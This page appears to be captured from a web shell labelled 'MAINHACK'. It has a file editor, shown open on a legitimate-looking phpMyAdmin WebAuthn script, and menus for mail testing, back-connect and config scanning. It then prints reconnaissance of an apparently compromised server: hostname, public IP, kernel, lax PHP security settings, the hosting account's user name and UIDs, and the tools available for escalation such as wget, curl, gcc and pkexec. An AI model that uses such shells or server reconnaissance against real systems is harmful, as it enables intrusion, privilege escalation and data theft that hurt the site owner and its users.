[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: webauthn.js
/** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery<HTMLElement>} $input * * @return {void} */ const handleCreation = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }).then(credential => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64(credential.response.attestationObject) } }); $input.val(credentialJson); $form.trigger('submit'); }).catch(error => Functions.ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery<HTMLElement>} $input * * @return {void} */ const handleRequest = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }).then(credential => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64(credential.response.signature), userHandle: arrayBufferToBase64(credential.response.userHandle) } }); $input.val(credentialJson); $form.trigger('submit'); }).catch(error => Functions.ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if (!navigator.credentials || !navigator.credentials.create || !navigator.credentials.get || !window.PublicKeyCredential) { Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002